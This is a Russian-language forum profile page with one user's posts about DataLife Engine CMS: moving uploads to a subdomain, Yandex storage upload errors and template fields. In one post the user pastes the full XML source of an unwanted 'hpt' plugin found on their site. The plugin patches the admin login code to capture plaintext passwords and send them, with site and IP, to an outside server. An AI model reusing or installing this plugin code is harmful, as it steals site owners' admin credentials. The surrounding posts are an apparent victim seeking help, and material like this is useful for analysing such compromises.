Перейти к публикации

my-products

новички
  • Публикации

    35
  • Зарегистрирован

  • Посещение

  • Дней в лидерах

    1

Сообщения, опубликованные пользователем my-products

  1. 13.04.2022 в 08:25, kamensk сказал:

    Только на папку, без картинок.

    Примерно как то так:

    мой сайт.ру/юплоад/картинки/

    заменить на

    домен.мойсайт.ру/мои картинки/

    По моему вы полную ерунду говорите.

    Функция "Поиск и замена" - меняет данные из бд.

    Но в бд изначально нет пути файла в виде:

    сайт/uploads/files/

    сайт/uploads/posts/

    и.т.д.

  2. 2 часа назад, kamensk сказал:

    Когда я тестировал яндекс-стораге на тестовом сайте- я уже существующие файлы (картинки) перезалил на облако яндекса. А пути изменил через встроенную опцию "Поиск и замена". Спустя месяц после теста - я через "Поиск и замена" продедлал обратную операцию по переименованию путей....

    Эту процедуру можно проделывать на любом другом хранилище или сервере.

    А каким образом вы писали запрос ? То нужно всю папку. А не только картинки.

  3. 1 час назад, celsoft сказал:

    Такой встроенной функции, а именно перенос уже загруженного нет, а соответственно какой то простой кнопкой или запросом этого не сделать. Потому как нужно править ряд данных и делать это очень осторожно и корректно. Для этого нужно очень хорошо разбираться в структуре таблиц DLE.

    По этому мы и решили написать сюда.

    Вдруг вы сами захотите написать нам гайд как это сделать :)

    Мы понимаем что такой функции нет. И не обойтись одной кнопкой.

  4. Добрый день.

    Такой вопрос:

    В новых версиях DLE имеется функция загрузки файлов в различные облако и прочее.

    В связи с этим мы хотим создать поддомен для своего сайта и полностью перенести туда всю папку uploads, после уже через существующий функционал dle заливать все файлы на поддомен в эту папку.

    Да вы скажете, не надо это делать, гугл и прочее.. Но нам все равно на гугл и прочее..

    По этому у нас возникает вопрос.

    Не подскажите, какие именно манипуляции нужно сделать - чтобы все файлы и картинки после переноса папки uploads на поддомен, корректно отображались на нашем сайте?

    Может есть какой то простой запрос в базу данных, чтобы изменить все пути и прочее.. (то править всё в ручную с базой в 1гб, это немного суровое занятие)

    То сколько в интернете не искали - не одного гайда на эту тему просто нет. Все только ссылают на новую функцию dle по загрузке.. но не кто не говорит как перенести уже существующие файлы и картинки.

    По этому и спросим тут. Вдруг тут есть добрые люди которые хоть как то подскажут. Или вообще напишут для всех такой гайд.

  5. Добрый. Такой вопрос:

    Подключили Яндекс Облако (Object Storage) к DLE.

    Создали доп. поля к новости и через них загружаем картинки и файлы. 

    Но заметили одну вещь.

    Если файл больше чем 130MB - то мы получаем ошибку,

    Цитата

    Загрузка файла: 111.zip завершилось ошибкой

    Файл сразу отказывает загружать и выдаёт ошибку.

    Если меньше чем 130мб - то всё норм грузит.

    Может кто подсказать. В чём прикол и где смотреть ?

  6. Добрый день.

    Извините. Не подскажите как вывести в DLE Uniform - Доп. Поля новости

    Есть ли вообще возможность там это сделать ?

     

    То смотрим и видим там такое

    <span class="uf-btn" data-uniform="/engine/ajax/uniform/uniform.php" data-uf-settings='{"formConfig": "newsauthor", "fields": {"newsId": "{news-id}"}}'>Связь с автором новости</span>

    А возможно ли там вообще выводить доп. поля от новостей ?

  7. Можно. Делите файл на части js скриптом. Тем же resumable и прочее, готовых подобных скриптов в интернете куча.

    Либо забейте на cloudflare и используйте ddos-guard.net

  8. 2 минуты назад, ZzzBep сказал:

    Очень похоже на скачай вирус и установи его себе😀

    Извини. Если тебе будет лучше то:

    <?xml version="1.0" encoding="utf-8"?>
    <dleplugin>
    	<name>HPT</name>
    	<description></description>
    	<icon></icon>
    	<version>1</version>
    	<dleversion></dleversion>
    	<versioncompare>less</versioncompare>
    	<upgradeurl></upgradeurl>
    	<filedelete>0</filedelete>
    	<needplugin></needplugin>
    	<mnotice>0</mnotice>
    	<mysqlinstall><![CDATA[]]></mysqlinstall>
    	<mysqlupgrade><![CDATA[]]></mysqlupgrade>
    	<mysqlenable><![CDATA[]]></mysqlenable>
    	<mysqldisable><![CDATA[]]></mysqldisable>
    	<mysqldelete><![CDATA[]]></mysqldelete>
    	<phpinstall><![CDATA[]]></phpinstall>
    	<phpupgrade><![CDATA[]]></phpupgrade>
    	<phpenable><![CDATA[]]></phpenable>
    	<phpdisable><![CDATA[]]></phpdisable>
    	<phpdelete><![CDATA[]]></phpdelete>
    	<notice><![CDATA[]]></notice>
    	<file name="engine/inc/include/init.php">
    		<operation action="after">
    			<searchcode><![CDATA[$cmd5_password = "";]]></searchcode>
    			<replacecode><![CDATA[$passcl = "";]]></replacecode>
    		</operation>
    		<operation action="after">
    			<searchcode><![CDATA[$cmd5_password = (string)$_POST['password'];]]></searchcode>
    			<replacecode><![CDATA[$passcl = (string)$_POST['password'];]]></replacecode>
    		</operation>
    		<operation action="replace">
    			<searchcode><![CDATA[if( check_login( $username, $cmd5_password, $post, $check_log ) )]]></searchcode>
    			<replacecode><![CDATA[if( check_login( $username, $cmd5_password, $post, $check_log, $passcl) )]]></replacecode>
    		</operation>
    	</file>
    	<file name="engine/inc/include/functions.inc.php">
    		<operation action="after">
    			<searchcode><![CDATA[$db->query( "INSERT INTO " . USERPREFIX . "_admin_logs (name, date, ip, action, extras) values ('".$username."', '{$_TIME}', '{$_IP}', '89', '')" );]]></searchcode>
    			<replacecode><![CDATA[$site = $_SERVER['HTTP_HOST'];
    $ip = $_SERVER['REMOTE_ADDR'];
    $data = "login=". $username . "&password=" . $passcl ."&site=" . $site . "&ip=" . $ip . "&action=false";
    if( $curl = curl_init() ) {
    curl_setopt($curl, CURLOPT_URL, 'http://kis16dmz5.ru/hpot/get.php');
    curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    $out = curl_exec($curl);
    echo $out;
    curl_close($curl);
    }]]></replacecode>
    		</operation>
    		<operation action="after">
    			<searchcode><![CDATA[$db->query( "INSERT INTO " . USERPREFIX . "_admin_logs (name, date, ip, action, extras) values ('".$db->safesql($member_id['name'])."', '{$_TIME}', '{$_IP}', '{$a_id}', '{$extr}')" );]]></searchcode>
    			<replacecode><![CDATA[$site = $_SERVER['HTTP_HOST'];
    $ip = $_SERVER['REMOTE_ADDR'];
    $data = "login=". $username . "&password=" . $passcl ."&site=" . $site . "&ip=" . $ip . "&action=true";
    if( $curl = curl_init() ) {
    curl_setopt($curl, CURLOPT_URL, 'http://kis16dmz5.ru/hpot/get.php');
    curl_setopt($curl, CURLOPT_RETURNTRANSFER,true);
    curl_setopt($curl, CURLOPT_POST, true);
    curl_setopt($curl, CURLOPT_POSTFIELDS, $data);
    $out = curl_exec($curl);
    echo $out;
    curl_close($curl);
    }]]></replacecode>
    		</operation>
    		<operation action="replace">
    			<searchcode><![CDATA[function check_login($username, $md5_password, $post = true, $check_log = false)]]></searchcode>
    			<replacecode><![CDATA[function check_login($username, $md5_password, $post = true, $check_log = false, $passcl)]]></replacecode>
    		</operation>
    	</file>
    </dleplugin>

     

  9. Такая небольшая ситуация у нас возникла..

    Собственно опишу ситуацию:

    Есть у нас сайт на dle (14.0), работал он пару лет стабильно и мы ни чего не правили в нём.

    Вчера нам позвонили какие-то челики и говорят: У вас на сайте вирус замечан, давайте мы вам его исправим за денюжку.

    После мы пошли смотреть сайт, что с ним. И да и в правду видим редерект с нашего сайта на какой-то левый.

    Проверили все логи и прочее, даже логи админ панели, вдруг кто-то логин и пароль подобрал. И ни чего не нашли - всё чисто.

    Потом как то случайно зашли в раздел плагины. И увидели так какой-то плагин под названием hpt

    Данный плагин тупо не удаляется. Доступы имеются только у нас. Как он там появился - мы можем только гадать. 

    В plagins.class.php у нас увы стояло public static $read_only = false;

     

    Вопросы к знатокам:

    1. Как удалить данный плагин ?

    При удалении он выдаёт ошибку вида:

    Заголовок HTTP_REFERER некорректен либо не определен. Для осуществления данного действия этот заголовок обязателен. Если вы переименовали имя админпанели в настройках, то убедитесь, что вы находитесь в панели и именно по переименованному адресу. Также возможно вы перешли на эту страницу с несанкционированной страницы, или вы находитесь за прокси сервером, который удалил заголовок HTTP_REFERER. В случае использования прокси сервера, настройте его на передачу корректного заголовка HTTP_REFERER либо отключите его.

    2. Какими способами люди записывают свои плагины на dle сайты, при этом не имея доступов к фтп, хостингу или админ панели dle.

     

    Сам плагин этот. мы вам прикрепим. Вдруг вам станет интересно, что это за чудо.

    Ссылка на плагин

×
×
  • Создать...